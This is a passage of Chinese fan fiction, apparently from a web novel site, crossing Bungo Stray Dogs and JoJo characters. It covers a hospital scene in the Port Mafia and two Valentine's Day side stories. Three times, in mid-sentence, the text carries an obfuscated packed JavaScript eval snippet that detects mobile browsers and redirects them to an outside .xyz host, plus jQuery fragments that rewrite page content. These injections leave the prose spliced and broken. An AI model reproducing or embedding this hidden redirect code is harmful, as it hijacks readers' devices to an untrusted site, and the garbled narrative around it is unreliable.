果不其然,身边齐齐响起了倒吸一口冷气的声音。 “是吗?按照你的说法,接下来是不是应该从芥川身上开始入手呢?”他状似苦恼地摩挲着下巴,“还是...应该从你身上开始查呢?” 佐藤阳翔耸了耸肩膀:“虽然我是【清洁小组】的人,不过...如果太宰先生对我持有怀疑的话,那就从我身上开始查吧。” 他并不担心自己的叛变立即就被对方发现——现在的他手上干干净净,只是一名为了保护芥川兄妹而意外中弹的好同事。太宰治为了监视自己的一举一动,派遣了芥川龙之介进行监视,反而为佐藤阳翔提供了天然的证词——可以说,佐藤阳翔经得起任何查验。 被反过来利用了啊。 太宰治也一定是想到了这一点,用鸢色的眼睛毫无感情地打量了少年半晌,忽然叹了一口气,露出了一个轻松且无所谓的表情:“...那这件事就暂时交给佐藤君来办吧。” 他用力扣住佐藤阳翔受伤的肩膀,凑到他耳边低声道:“佐藤君能办到的吧?” 肩膀上传来尖锐到让人难以忽视的刺痛。但比起疼痛,更多的是一种不悦、警告,以及若有若无的怀疑。太宰治现在对他的关注度上升了,这并不是一件好事——但同时伴随而来的,还有知晓更多核心情报的权力。 那才是佐藤阳翔现在最需要的东西。 现在的经历虽然和他记忆中的截然不同,但最终指向的都是同一条道路——叛变,获取信任,掌握一手情报;只有他确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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正常情况下仅到下颌部位的头发,被扎起后只能勉强够到一半的位置,看起来非常滑稽——佐藤阳翔笑得差点直不起腰,还偷偷拿手机给芥川龙之介拍了人生黑历史,毕竟缺德使人快乐,所以他完全没有注意到病床上病人已经开始微微发颤的眉睫。 等佐藤阳翔笑够了,他才解开了芥川龙之介被捉弄的头发,期间手指会不可避免的触碰到对方苍白的脸庞——很凉,但是富有弹性,体温比起常人要低很多。 “唉,你安静的时候倒是比平常讨人喜欢一点。”佐藤阳翔整理好他的头发,“不过还是快点醒来吧,我才不要拿着一份薪水一个人干两个人的活...” 他的声音却突然卡住了,因为一双睁开的灰黑色眼睛正在看着自己。 芥川龙之介的视线充满了探究,同时还带着些许疑惑与惊疑不定。 “...哈哈。”佐藤阳翔干巴巴地笑了笑,“龙之介你醒了啊那可真是太好了话说回来我还有工作要做我就先走了...” 他刚想离开,就被芥川龙之介用力抓住了手腕。 芥川龙之介刚苏醒过来,最牵挂的依旧是自己的血亲,因此不顾沙哑得厉害的嗓音,立刻问:“银呢?” “她很好,没有受到任何伤害。等她下班了,你们应该就会见面的。” 芥川龙之介直到得到了这个答案,才卸下了手中的力气。他闭上眼睛,重新睁开后,便又从关心家人的哥哥变回了亟待复仇的港口mafia:“查到那些人的踪迹了么?” “还没有,他们没留下任何蛛丝马迹。比起他们,港口mafia的高层出了泄露情报的家伙才更棘手——不过,太宰治那家...咳,太宰先生,已经把这件事交给我了。” 芥川龙之介垂下眼,不知道在想什么。 “你没其他问题了?那我去外面叫护理士进来吧。” 是的,佐藤阳翔依旧没有放弃借机逃跑的打算,毕竟要是被芥川龙之介发现自己趁他昏迷,偷偷给他扎小辫就完蛋了! 但真是怕什么来什么,芥川龙之介突然问:“...你刚刚做了什么?” “...没什么。”佐藤阳翔面色自若地一边胡扯,一边不动声色地把手机塞进了随身口袋里,“我看你这里采光好,我过来这里晒晒太阳。” 芥川龙之介当然不相信他的鬼话,视线里依旧带着怀疑——他刚醒来就发现对方碰着自己的脸看来看去,而且单看表情也知道大概率不是什么好事,芥川龙之介出于谨慎且不轻易信任任何人的性格,怀疑佐藤阳翔是不是打算借机暗杀自己。 “你碰了什么?” “没什么,我看你头发睡乱了,只是好心地帮你拨了一下。”佐藤阳翔知道他疑心病又犯了,想也不想便随口道,“如果我真想杀了你,我可有太多机会能下手了——不然你难道以为我喜欢你,所以在借机揩油吗?” 37.情人节特供番外A[番外] 今日的杜王町虽然和往常一样安静悠闲,但有些不同的是,清晨的空气中开始略微带着甜意——今天是情人节,小镇上的花店自从开门起就一直忙得连轴转,预定的电话响个不停;隔壁的甜品店也很早就挂上了牌子,奶油和蛋糕胚的甜香蔓延了整条小街。 东方仗助就是在这样的环境下,顶着一轮重重的黑眼圈醒来的——他昨天晚上压根就没睡好,翻来覆去地思考着今天的打算。他从房间出来的时候还差点左脚绊右脚,把路过的东方朋子吓得够呛,开始怀疑儿子半夜是不是趁大人睡着了起来偷偷打游戏。 “听我说啦!我昨天晚上真的没有打游戏啊——!” 被扯住耳朵的东方仗助一边呼痛,一边挣扎着想要逃跑,但东方朋子女士的战斗力可不是盖的,她狐疑地问道:“那你昨天晚上不睡觉在干嘛?” 东方仗助一下子噎住,然后脸上慢慢地爬上了难以言语的红晕:第一次和喜欢的人过情人节,所以一直在计划今天要怎么安排行程之类的...这种话要他怎么能当着自己老妈的面说出口啊! 但幸运的是,前来找他一起上学的虹村亿泰把东方仗助从这种尴尬的氛围里解救了出来。他今天很早就来敲东方家的门了——当然不可能是找东方仗助一起去学校好好念书的,纯粹是因为今天早上出门时意外看见了鬼鬼祟祟的广濑康一。 “仗助,我们一起跟在康一后面看看吧!”虹村亿泰不怀好意地搓搓手嬉笑,“他这么鬼鬼祟祟的,肯定在背着我们干什么大事!” 如果换成平常的东方仗助,他肯定二话不说就跟过去凑热闹了。但今天是一年一度的情人节,他正为甜蜜又痛苦的抉择烦恼着,整个人都显得有些兴致缺缺的。 虹村亿泰大惊小怪:“喂仗助,你今天难道生病了吗?!不和我一起去冒险吗?!” “可是今天是情人节欸。” “嗯?情人节?那又怎么了?” 从来没有谈过恋爱的笨蛋亿泰当然无法理解东方仗助的反常,因为情人节除了买两份蛋糕或巧克力会打折外,基本和他没什么关系,所以虹村亿泰一直坚持认为,今天就只是个吃甜品很便宜的日子而已,和平常没有什么不同。 “今天对情侣来说是个很重要的节日啊!”东方仗助掏出手机,一脸烦恼地看着自己的手机页面,正停留在他昨天晚上和佐藤阳翔的聊天内容: 【Love阳翔:啊,明天放学以后我去接你,记得别乱跑。】 【东方仗助:好哦?不过有什么事吗?】 【Love阳翔:明天是情人节,我做了特别饼干。】 【东方仗助:!!!】 身为恋人的东方仗助当然提前做了情人节礼物,但他会因为这两条消息焦虑紧张到一晚上睡不着,并不只是在规划今天要和佐藤阳翔怎么过节,还因为他给自己做了特别饼干。 是的,重点是——【特别】饼干! 不是普通的黄油曲奇也不是老生常谈的过时巧克力,而是充满神秘感的【特别】饼干!说明佐藤阳翔有可能会在饼干盒里放情书,也可能会在饼干里放芥末或者巧克力,甚至可能会在饼干盒的夹缝里塞酒店的房卡(才不会干这种事!),没有什么字眼比未知的礼物更浪漫了。 东方仗助避开发型,双手按住自己的额头,蹲在地上喃喃道:“可是我只给他准备了我自己做的巧克力阳翔会不会觉得很难吃会不会觉得非常不great会不会觉得我没有好好对待他会不会因此和我分手啊...” 虹村亿泰:“?你现在在念经吗?喂仗助,你别再管那个麻烦的情人节了,快点和我一起去跟踪康一啦!” “康一...对了,康一!” 东方仗助蹭地一下又从地上站了起来。广濑康一——是东方仗助身边唯一一名有恋爱经验,且相较于虹村亿泰,勉强还算正常的熟人。虽然佐藤阳翔是男人,但恋爱的底层逻辑一般都是互通的,这种事直接问康一就好了! 东方仗助暗自打定了主意,拉着虹村亿泰就一起去寻找康一的踪迹。他们找了好一会儿,终于在提前开门的甜品屋里找到了广濑康一的身影——他好像在买什么东西,让店员打包起来的时候还一副小心翼翼的样子。 “康一君!” “啊,是仗助和亿泰啊!”名为广濑康一的矮小少年有些惊愕地抬头,“你们怎么也来这里了?” “我早上看见你鬼鬼祟祟的,就拉着仗助一起过来了!”虹村亿泰头脑简单地看了一眼被广濑康一护在怀里的东西,“什么嘛,你只是偷偷过来买蛋糕的啊?” 广濑康一立刻红了耳朵,急急忙忙地摆手说:“不是啦!这个...这个是给由花子小姐的情人节礼物。” 他小心翼翼地把礼物抱在怀里,有些不好意思地挠了挠耳朵:“这块蛋糕是我前几天来这里向糕点师学的。由花子小姐最近好像在减肥,所以我想着,比起普通的巧克力,不如做一份又好吃又低脂的减肥特供蛋糕给她。” “但是因为是情人节礼物,所以一直很害怕在路上撞见由花子小姐...” 剩下的话,东方仗助已经没有再听下去了。他满脑子都是广濑康一的那句:“比起普通的巧克力...” 普通的...巧克力... 普通... “什么嘛,原来是来拿送给女朋友的蛋糕啊。”原以为是什么大事的虹村亿泰兴致缺缺地用小指掏了掏耳朵,“我们还以为你在干什么有趣的事呢,对吧仗助?” 他扭过头,发现东方仗助正一脸衰样地蹲在地上。 “你今天好奇怪啊,你肚子痛吗?” “......” 看着东方仗助垂头丧气的样子,广濑康一忍不住试探地问:“不好意思,那个...难道仗助是在为情人节礼物的事烦恼吗?” 东方仗助的头顿时埋得更低了。 —— “啊,原来是因为佐藤先生说会送特别饼干啊...所以仗助是觉得自己送的礼物太普通了吗?” 广濑康一提着蛋糕盒,三人并肩走在去往葡萄丘高中的路上,今天他们遇到的学生表情基本都看起来都很轻松——毕竟是充满青春气息和浪漫色彩的情人节,大家都会给自己喜欢的人送巧克力和情书,甜蜜暧昧的氛围随处可见。 恋爱白痴虹村亿泰觉得很奇怪:“可是我还是不懂,他们两个男的为什么要互相送情人节礼物啊?” 康一叹气:“因为仗助和佐藤先生在谈恋爱啊。” “嗯...嗯?!” 突然听到不得了大事的虹村亿泰瞬间愣住——这倒不是他消息落后,实在是因为这人思想简单,感情也很迟钝。东方仗助其实早就和他说过自己和佐藤阳翔在一起了,但这笨蛋一直觉得“在一起”的意思,就和“呆在一起”差不多,不直白点和他讲,虹村亿泰的脑子是无法理解的。 而他现在,正被这件事狠狠冲击着。 “什么...仗助也恋爱了?!”他瞪大眼睛,“也就是说现在只剩下我一个人单身...?” “唉...不知道阳翔会不会喜欢这个...”东方仗助烦恼地说,“那个...康一君,能教教我这种情况要怎么办吗?” “你什么时候开始谈恋爱的啊?!” “其实我觉得你不用太担心,佐藤先生肯定觉得只要是你送的都好吧。”恋爱导师广濑康一上线,“我第一次给由花子小姐挑选礼物的时候,也觉得很烦恼,害怕自己送的东西她不喜欢...不过只要真心实意地为对方准备了,就一定可以的!” “仗助,你究竟是什么时候背叛我的啊?!” “...真的吗?” “当然啦,你和佐藤先生可是恋人啊!还有比你更了解佐藤先生的人吗?” 是啊,他们可是恋人——没有人再比自己更了解佐藤阳翔了。如果是自己制作的巧克力的话... 如果只是巧克力的话... 很遗憾,东方仗助还是没能从广濑康一的话语中汲取力量。他怀着惴惴不安的心情浑浑噩噩地上了一上午的课,在拒绝了不知道第几位女生给的巧克力后,他小心翼翼地把自己制作的那份巧克力拿了出来,然后东方仗助就碰到了更加崩溃的一件事: 他的巧克力,碎了。 或许是因为制作水平不到位,又或许是放在书包里被意外碰到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015396|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,反正等东方仗助从包里拿出巧克力的时候,它已经碎了。 东方仗助在一片空白后,勉强动起了大脑思考:不要紧,只要用【疯狂钻石】来恢复一下...只要...呃...用什么东西可以恢复来着... 是的!东方仗助同学已经因为折断的巧克力,被吓到完全忘记自己有【疯狂钻石】这回事了! 他的大脑和心脏几乎都在这一刻停机。对于一位第一次和恋人过情人节的青少年来说,和佐藤阳翔过好情人节这件事就已经占据了他的所有思维——佐藤阳翔是他的初恋,这还是两人在正式确立关系后过的第一个情人节,如果搞砸的话,未来的每一个情人节恐怕都会陷入失败的阴影。 如果搞不好的话,对方还可能和他分手! 东方仗助今天早上自从进入教室后就听见了不少有关情人节的黑色新闻——既有嫌对方送的巧克力太老土分手的啦,也有嫌对方没有安排好情人节行程闹掰的,甚至还有因为见面后的第一句话不是“今天也喜欢你”而分手的! 在东方仗助恐怖的幻想中,放学时间还是到了。 他出现在校门口的时候,佐藤阳翔已经等了有一会儿了。今天的他穿着驼色大衣,拎着一个简单的手提袋,全身都精心打理过,加上本就好的身材比例,在一众穿着统一校服的高中生中显得格外鹤立鸡群。 东方仗助还没走上前,他就已经看见不少女生拿着巧克力向他索要联系方式了。 “啊,仗助!”佐藤阳翔也远远地看见了恋人出挑的发型。他抬手朝东方仗助的方向挥了挥,抬起手里的袋子刚准备递过去,东方仗助却恰好在此时朝他突然鞠了一躬,导致佐藤阳翔的手正好撞上对方的脸。 “!你没事吧?” 佐藤阳翔刚想抬起他的脸看看有没有破相,就听见东方仗助忽然闭上眼睛,一咬牙,保持着鞠躬的姿势大声道:“今天也喜欢你!” “......?” 即便是脸皮厚如佐藤阳翔,面对恋人在公共场合还如此直白的告白,也不由得噎住了。 “这是我自己做的巧克力!虽然不是很【特别】的巧克力,但是我...” 东方仗助刚交出手中的巧克力,就又听见了清脆的“喀嚓”两声。 他因为太紧张,一不小心用力过度把巧克力捏碎了! 东方仗助懊恼极了。他原本在巧克力上写了佐藤阳翔的名字,还用他那极其贫瘠的艺术细胞画了个男友的肖像——虽然中途被绘画顾问岸边露伴嘲笑画得像八十岁老奶奶拿笔,还被闯入厨房东方朋子问为什么要在巧克力上画怪兽——但好歹也是东方仗助在几百次的失败中,画出的最好看的一次啊! “对不起对不起,用【疯狂钻石】很快就能修好的...” 佐藤阳翔终于忍不住“噗哧”一声笑了出来。 “哈哈哈哈,我还以为你脸色这么难看是要和我分手呢。”他握住东方仗助的手,示意东方仗助把替身收回去,然后极其自然地接过了对方的巧克力,顺便把装着饼干盒的袋子塞进了东方仗助怀里,“谢谢你的礼物,我很喜欢。” “怎么可能会分手啊!”东方仗助忍不住说,“那个...碎掉的果然还是用【疯狂钻石】...” “碎了就碎了吧。”佐藤阳翔说,“反正是吃进肚子里的东西,最后也是要嚼碎的。” “而且,比起那些东西,更重要的是你亲手做的。”他侧过头,向东方仗助摇了摇手里的巧克力,“更何况,只要是你送给我的,就已经是【特别】的东西了。” 纯情男高东方仗助瞬间被击中。他抬起深蓝色的眼睛,愣愣地看着恋人的侧脸,目光装满了他自己都没注意到的温柔深情——东方仗助现在觉得,康一真的是恋爱大师,让那些来自情人节的黑色新闻都去见鬼好啦! 他们是不会因为杂七杂八的小事就闹分手的! 佐藤阳翔把男友的手一起塞进自己的口袋里,思考道:“我们中午一起去吃好吃的咖喱饭吧?听说情人节买一送一,还有免费送甜品的活动。” 他笑眼盈盈地捏了捏东方仗助温暖的手指:“至于剩下的时间…就都交给你来决定。” 38.情人节特供番外B[番外] 横滨今年在二月份的时候迎来了一轮新的寒潮,天气预报称情人节当天有下雪的可能,所以当地的小情侣们早早就开始翘首以待——不用专门跑到北海道就能过上白色的情人节,相当于变相给钱包省了路费和住宿费,还可以免费和恋人依偎在一起看雪! 佐藤阳翔刷手机的时候,正好看见了芥川银发来的消息,下意识地就打算转发给芥川龙之介,但手指却犹豫在了转发键上——本来他也不知道情人节那天要干什么,去年去了游乐园,前年去了电影院,再这样排下去恐怕今年只能去横滨大酒店了,如果能一起看雪当然很好。 但是,他们最近出了一点问题。 芥川龙之介其实在当男朋友这一方面还是很靠谱的:他们从针锋相对一路走来,在港口mafia的时候就是出了名的不对付;后来佐藤阳翔加入了武装侦探社,芥川龙之介也没有放弃要杀他的念头。 佐藤阳翔原以为在一起后,就要做好在枕头下面藏武器的准备,结果没想到芥川龙之介居然走的是纯爱路线——简而言之,芥川龙之介认为恋人是一种很珍贵的存在,即便对方是男人也一样,和工作需要做出切割,不然每天闹脾气还要睡同一个被窝会很尴尬。 所以佐藤阳翔和芥川龙之介之间的相处模式很奇怪:在工作时间内如遇两社利益冲突,就狠狠打一架,然后等到下班以后,就和什么都没发生过似的,照样牵手拥抱亲亲回家。 要切割到这一份上实属不易,但他们还是做到了。芥川银有时候会怀疑自己哥哥和佐藤先生是不是有点精神分裂,但他们之间的感情确实还算不错,从交往到现在已经整整三年了。 不过,最近他们好像在冷战。 事件的起因微不足道,生活中许多重琐碎因素交叠在一起,往往就是引爆矛盾的炸弹。 他们之间的冲突倒也没有电视剧里演的那么剑拔弩张——比如什么大喊“你根本就是不爱我”啦,又比如砸东西摔碗啦——这种还是算了吧,两个人都已成年,又交往了三年多,还没有幼稚到要靠武力在恋爱中一决胜负的地步。 可两个人都不退步的最终结果,当然就只能是冷战。 下班照样一起坐车回家,睡同一张床,晚上一起去餐厅吃饭,但就是不讲话不接触,这有什么办法? 芥川银为了这个家操碎了心:作为这个家唯一的女性,同时也是他们唯一的家人,只能小心翼翼地周旋在哥哥和哥哥的男朋友之间。为了这件事,她已经有好几天没有安然入睡了——以至于【黑蜥蜴】外出做任务时,她都有些心不在焉,整个人焉焉的。 “你遇到什么麻烦事了吗?”立原道造问。 芥川银无声地摇头,但有着丰富人生阅历的老爷子一眼就看穿了她的烦恼,在解决完任务目标后,一边抽烟一边问:“哼,是因为感情上的事?” “——恋爱吗?!”立原道造震惊到破音,“银这家伙已经有恋爱对象了吗?” “...不是我。”她说完,嘴巴就紧紧地闭上了。但这句话也证实了一件事,那就是芥川银确实在为恋爱相关的话题而烦恼——如果主人公不是她,那大概率就是她的家人或者朋友。 一名胆子大一些的【黑蜥蜴】成员见状,举起手给出了自己的建议:“那个...如果关系很紧张的话,最好还是让两个人面对面地好好聊聊吧,毕竟现在有‘三天准则’啊,超过三天不说话的话,一般都默认分手了吧,情侣之间最好还是不要有隔夜仇...” 立原道造挥挥手吐槽道:“情侣三天不说话?!那确实不是正常情侣吧,我和邻居家的奶奶见面都会打招呼欸!” 芥川银:!!! 三天?!他们已经超过一个周没说话了! 芥川龙之介不是那种会轻易低下高傲头颅的性格,从小就在贫民窟带着妹妹摸爬滚打的经历,导致他的内心深处始终渴望被爱;尽管佐藤阳翔应该不是那种一言不合就要分手的类型,但如果“三天准则”是真的,佐藤阳翔真的打算和哥哥分手怎么办?! 芥川银完全不敢想象分手后的哥哥会怎么样——港口mafia的祸犬最近收敛了很多,如果分手的话,说不定会间接导致两社开战,造成无法挽回的流血事件,甚至自己的哥哥也要再次回到被人抛弃,伶仃一人的状态! 这种事太恐怖了! “情人节马上就要到了吧,送送礼物谈谈心就好啦,而且听说那天很可能会下雪呢,我老婆也很期待那天...” 在这名已婚且家庭幸福美满的下属建议下,捕捉到关键词的芥川银立即给佐藤阳翔和芥川龙之介同时转发了这则消息,祈祷他们之中能够有人率先迈出那一步,千万不要让甜蜜的情人节变成分手的炼狱啊! 佐藤阳翔收到这则消息的时候,还在武装侦探社坐班。 明天就是情人节了,近期委托调查老公或男友有没有出轨的案件数目直线上升,外地还出了一桩夫妻反目成仇导致的血案,现在整个侦探社都忙得焦头烂额,大家几乎都去跑外勤了,只有与谢野晶子医生和佐藤阳翔还待在事务所里。 与谢野晶子无聊地撑着脑袋,在看见佐藤阳翔紧锁的眉头后,调侃着随口问:“怎么了?和芥川吵架了?” 佐藤阳翔抿紧嘴唇,没有否认也没有承认。 “真的吵架了?”她见状,立即惊讶地坐正身体,靠着办公椅滑到佐藤阳翔身边,打量着脸上充满着愁容的同僚,“真稀奇呢,明明马上就是情人节了,你们都在一起三年了吧,怎么突然就闹矛盾了?” 佐藤阳翔放下手机,揉了揉自己的太阳穴,含糊不清地道:“这件事站在双方的立场上大概都是对的吧,只是我不知道该怎么向他开口而已。” 其实事情的起因真的只是一件很小的事,芥川某次任务归来后隐瞒了自己的伤痛,恰好被佐藤阳翔抓了个正着——本来这件事应该充满了恋人之间的温情和牵挂,但两个人都互不让步,这才导致两个人之间的氛围变得越来越僵。 与谢野晶子“啧”了一声,不认可地说道:“冷战了一周?小子,别小看这种嫌隙啊,冷战在恋爱之中可是大忌,冷战期限超过三天可是要被淘汰出局的——如果换成是我的话,我已经把那个男人踹了。” 作为一名成熟的女性,她早就已经度过了只靠感情辨别是非对错的年纪——谈恋爱当然是为了开心,如果忧愁占了上风,与谢野晶子会毫不犹豫地把这家伙踹了找过新的,和对方冷战拉扯一星期什么的,不可能的事! 佐藤阳翔叹了口气,刚想说些什么时,突然发现自己的手机居然莫名其妙亮着光——他刚刚把手机放下来后,好像一不小心碰到了和芥川银的通话键。 !糟糕。 他迅速切断对话,给芥川银发去了消息,“抱歉小银,刚刚一不小心误触了,我只是在和同事正常聊天而已,别担心,也别和你哥说。” 但佐藤阳翔的解释,却在这场意外之中的对话下显得格外苍白无力。 芥川银默默在听完与谢野晶子的话后,只觉得天都要塌了——哥哥真的要被踹了!“三天准则”是真的!佐藤阳翔后续的消息,比起解释明显更像是掩饰,他可能真的计划在情人节那天提分手! 这种惶恐的情绪一直持续到了今日下班。当她忐忑不安地站在街边等待兄长和佐藤阳翔出现时,放在包里的手机却嗡嗡作响。 大概是看佐藤阳翔心情不佳,与谢野晶子才邀请他一起去居酒屋里喝酒——按照她的话来说,世界上就没有什么是一瓶好酒解决不了的,实在有,那就再多喝两瓶。 聚餐的情况以前不是没有,佐藤阳翔便直接在三人群组中发了晚上要和同事聚餐的消息。芥川龙之介看见以后也没说话,恰好过来接妹妹一起去餐厅吃饭,却看见了芥川银欲言又止的焦虑神情。 芥川龙之介:“?” 饭店包厢内,芥川银简直食不下咽,勉强吃几口东西都觉得味同嚼蜡——她正在进行激烈的心理抗争,毕竟感情是他们两个人之间的事,但芥川银作为芥川龙之介的妹妹,说不偏心哥哥肯定是假的。 要和哥哥说这件事吗?佐藤先生知道以后,会不会气到直接和哥哥闹掰了? “有什么事就说吧,银。”芥川龙之介放下了筷子,环胸靠回椅子上,表情冷静且淡定:他又不是傻子,作为亲哥哥,他一眼就能看出妹妹正预备向自己隐瞒什么大事,作为兄长当然不可能坐视不理。 芥川银憋了半天,攥紧裙摆,旁敲侧击地问:“那个...哥哥,明天就是情人节了吧...你打算怎么安排行程啊?” 芥川龙之介顿了一下:“...明天?明天我会去一趟镭钵街,首领交给我了一则新的任务。” 他说着,不动声色地皱了一下眉头:妹妹会突然提起情人节,恐怕是她已经有了喜欢的人,并且正在向自己提问要如何安排行程——但这种事,每次都是由佐藤阳翔自作主张安排,久而久之,芥川龙之介也就习惯了被他牵着走。 芥川龙之介迟疑地问:“银,你情人节那天...要去约会?” 芥川银一听,瞬间被呛到。她一边咳嗽,一边拿着纸巾捂住嘴巴,急得朝哥哥连连摆手。 以为说中妹妹心事的芥川龙之介,表情立即就变得严肃且微妙起来。他还没有想过要如何面对陷入爱恋的妹妹,如果芥川银真的有喜欢的人,那他应该会先要到对方的姓名和住所,直接杀到对方面前——对方如果是个弱小之辈,那就由他来解决对方的性命... “不,不是这样的!”芥川银一激动,咳得更厉害了,“我...咳咳...没有...” “如果真的有那一天,在下会试炼那家伙身上究竟有没有骨气。”芥川龙之介沉下眉眼,“连性命都不敢为你付出的家伙,没有站在你身边的资格。在下绝不允许懦弱之辈纠缠你...” 眼见兄长完全没有要听进话的打算,本就说话小声的芥川银,终于忍不住用尽全身力气大喊:“不...不是我!出事的是哥哥你啊!佐藤先生要和你分手!” 气氛突然陷入了一片死寂的沉默。 下一秒,“啪”地一声巨响,面前由大理石构成的桌子就突然毫无预兆地碎成了两半。 芥川龙之介现在完全听不见任何声音,只觉得整个世界似乎都在这一瞬间停摆了,浑身和掉入冰窟了一般,血液好像都凝固了——大脑也变得空白,只剩下那句“佐藤先生要和你分手”不断闪回。 他要...和我分手? 被吓得完全忘记自称“在下”的芥川龙之介表情恐怖得要命。这顿饭的后续他已经完全遗忘了,等他回过神来的时候,已经回到了自己的房间——床上空空荡荡,佐藤阳翔和同事出去吃饭还没有回来,甚至也可能借机根本不打算回来了。 明天就是情人节,自己既没有给他做过什么规划,这几天也没有和他道歉,据芥川银所说,“三天准则”就是情侣超过三天冷战就默认分手——所以现在...佐藤阳翔已经和自己分手了? 他愣愣地看着还停留在七天前的聊天页面,思绪完全一片浆糊。 不行,这件事一定要找他问个清楚! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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佐藤阳翔裹好外套和围巾,立即走出了居酒屋:这几天有寒潮预警,夜里的风都很大,芥川龙之介就这么待在外面,会容易生病的。 他环视一圈,刚疑惑怎么没有看见芥川龙之介的身影,只见不远处喷泉刚好停下,露出了被遮盖身影的青年。芥川龙之介穿着黑色的皮质风衣,单看打扮和往常没有什么不同,但不知道为什么,佐藤阳翔本能地觉得芥川龙之介好像不太开心。 怎么说呢...像那种被扔在人海里的弃犬。 佐藤阳翔走上前,舌尖的那句“我刚好有事要找你”还没吐露出口,就迎来了一个带着寒气的拥抱。芥川龙之介好像站在外面有段时间了,身上的皮衣更是冰得佐藤阳翔忍不住打了个哆嗦,只好把话临时换成了:“你这是在外面待了多久啊?” 芥川龙之介没吭声,但脸几乎都埋进了佐藤阳翔的颈窝之中,脆弱得像一具随时都会碎成无数片的玻璃人偶。 “这么多天不和我说话,一下子怎么变得这么热情了?”佐藤阳翔刚想说点玩笑话,就感受到了对方骤然收紧的臂弯,芥川龙之介的声音也沙哑得厉害。 “...我...不想分手。”他和孩子般固执地重复着,声音中带着即将失去所爱的恐惧,“我不分手。” 佐藤阳翔:“...?可是我本来就没想过要分手啊。” 芥川龙之介猛然抬起头,佐藤阳翔这才看见了他泛红的双眼。 “是银和你说的吧?那时候只是我在和同事闲聊而已。”他好笑地说,“情人节还没到呢,我本来打算和你今天夜里一起等下雪的,不过你是怎么找到这里来的?” 芥川龙之介当然不可能说是他在路上遇见了喝醉的与谢野晶子,以及费力抬着她走的人虎与眼镜男。那是他人生第一次,应该也是最后一次,为了找到佐藤阳翔的下落好声好气地问他们居酒屋的名字,中途还被与谢野晶子揪住衣领骂了半天... “其实你想来找我的话,可以直接给我发消息啊。” 但芥川龙之介没有这个勇气。爱可以让人变得无所畏惧,同样也可以把勇敢者变成胆小鬼——芥川龙之介在找他的时候,满脑子都是恐慌与混乱下诞生的臆想。这种感觉,甚至比早年初入港口mafia时还要恐惧得多,他承担不起得而复失所爱的后果。 佐藤阳翔也不急着要他回答,自顾自地说:“虽然分手只是乌龙误会,但是你瞒着我的那件事还没有翻篇。” 被杀了个回马枪的芥川龙之介:! 佐藤阳翔不怀好意地一笑,伸出一根手指:“第一个惩罚,我们说好咯,隐瞒的人回去要被我扎兔耳辫子。” 是的,他还是没有放弃伟大的兔塑! 芥川龙之介忍气吞声,且咬牙切齿地答应了:“...好。” 佐藤阳翔装模作样地竖起第二根手指:“那么第二个惩罚...” 芥川龙之介:“?” 怎么还有...! 佐藤阳翔笑了笑,取下套在自己脖子上的围巾,围在了芥川龙之介的脖子上,拽着围巾把他拉了过来。然后就是嘴唇上贴在一起的柔软触感,温柔的、亲密的、充满爱的,像融化的雪花。 商业街的时钟沉重地预示着新的一天到来,停歇的喷泉重新涌动。一起过情人节的情侣们兴奋地挤在窗户旁,来到门口,抬头看见了飘扬的雪花。横滨在情人节这一天迎来了开春后的第一场雪,也可能是最后一场雪。 世界摇摆前进,相爱的人在喷泉附近的角落里接吻。 新的一年,情人节快乐。 39.第三十七章 71 此话一出,气氛就诡异地沉寂了下来。 啊...好像有点得意忘形了。 佐藤阳翔说这句话的时候完全没有过脑子,本质原因是他压根没把现在的芥川龙之介当成生人——毕竟他们现在关系还不怎么样,芥川龙之介和他之间也没有什么感情基础。 芥川龙之介乍然听到这种调侃的话,受到的冲击力还是很大的。他的第一反应先是觉得有点难堪,第二反应就是想把这个满嘴跑火车的家伙一脚从病房里踹出去。 “你...你...咳咳...” 芥川龙之介刚从昏迷中苏醒,就被这句话狠狠地呛住了。而且这种话很难接:如果他说自己不喜欢佐藤阳翔,就会显得他好像有喜欢男人的潜在特质;但如果说喜欢佐藤阳翔的话——当然没有这个如果! 佐藤阳翔好心地给他倒了一杯水:“我和你开玩笑的,你别生气啊,你才刚醒呢!” “你...出去!” 看着芥川龙之介咳到脸红的样子,佐藤阳翔还是乖乖地闭上了嘴,反正芥川被扎小辫子的照片已经拍到了,接下来还是不要再继续惹他比较好。 他按了病房铃,然后就知趣地退出了病房,给芥川银发了芥川龙之介醒来的消息。 芥川银抵达医院的时候,天色已经有些晚了。佐藤阳翔没个正形地靠在走廊的窗户边,嘴上叼着一根棒棒糖,目光沉沉地望向窗外,不知道在想什么事。 “佐藤先生!” “啊,是小银啊。你哥哥醒了,快点进去看看吧。” 佐藤阳翔没动弹,朝她挥了挥手。他从这个角度正好能看见病房内兄妹二人充满亲情的互动。佐藤阳翔摸出手机,目光停留在港口mafia旗下的一间宝石公司上——这座公司正好分属港口mafia现任干部A的旗下。 芥川龙之介既然已经醒来,那么调查干部的工作差不多也得正式开始了。 芥川龙之介不愧是一名忠心耿耿的员工。他刚醒就急着出院上班,还义正严辞地拒绝了医生的留院观察建议,看得佐藤阳翔不得不暗夸一声卷王中的卷王,还在住院都恨不得扯下点滴奔赴工作,不知道的还以为港口mafia是什么缅北公司。 